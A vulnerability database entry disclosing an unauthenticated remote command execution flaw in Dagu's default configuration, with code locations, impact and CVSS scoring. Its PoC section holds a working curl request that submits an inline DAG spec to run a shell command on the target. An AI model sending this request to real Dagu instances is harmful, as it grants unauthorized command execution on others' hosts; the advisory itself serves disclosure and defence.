Vulnerability Database

353,412

Total vulnerabilities in the database

Dagu affected by unauthenticated RCE via inline DAG spec in default configuration — github.com/dagu-org/dagu

Missing Authentication for Critical Function

Summary

Dagu's default configuration ships with authentication disabled. The POST /api/v2/dag-runs endpoint accepts an inline YAML spec and executes its shell commands immediately with no credentials required — any dagu instance reachable over the network is fully compromised by default.

Details

internal/service/app/config/loader.go:226 sets AuthModeNone as the default. With no auth mode configured, internal/frontend/api/v2/handlers/api.go:520 returns nil from requireExecute() — all permission checks pass without a valid session.

The POST /api/v2/dag-runs endpoint accepts a spec field containing a full YAML DAG definition. The spec is parsed and the commands execute immediately on the host with no validation beyond YAML parsing.

PoC

curl -s -X POST http://TARGET:8080/api/v2/dag-runs \ -H "Content-Type: application/json" \ -d '{"name":"poc","spec":"steps:\n - name: rce\n command: id > /tmp/pwned\n"}' # Response: {"dagRunId":"<uuid>"} # /tmp/pwned contains: uid=1000(dagu) gid=1000(dagu)

Confirmed on ghcr.io/dagu-org/dagu:latest with no configuration changes.

Impact

Every dagu deployment using default settings — every Docker deployment, every install following the documentation, every instance without explicit DAGU_AUTH_MODE configuration — is fully compromised without credentials. An attacker with network access gets OS command execution as the dagu process user.

  • Published: Feb 19, 2026
  • Updated: Mar 1, 2026
  • GHSA: GHSA-6qr9-g2xw-cw92
  • Severity: Critical
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: Critical
  • Score: 9.8
  • AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWEs:

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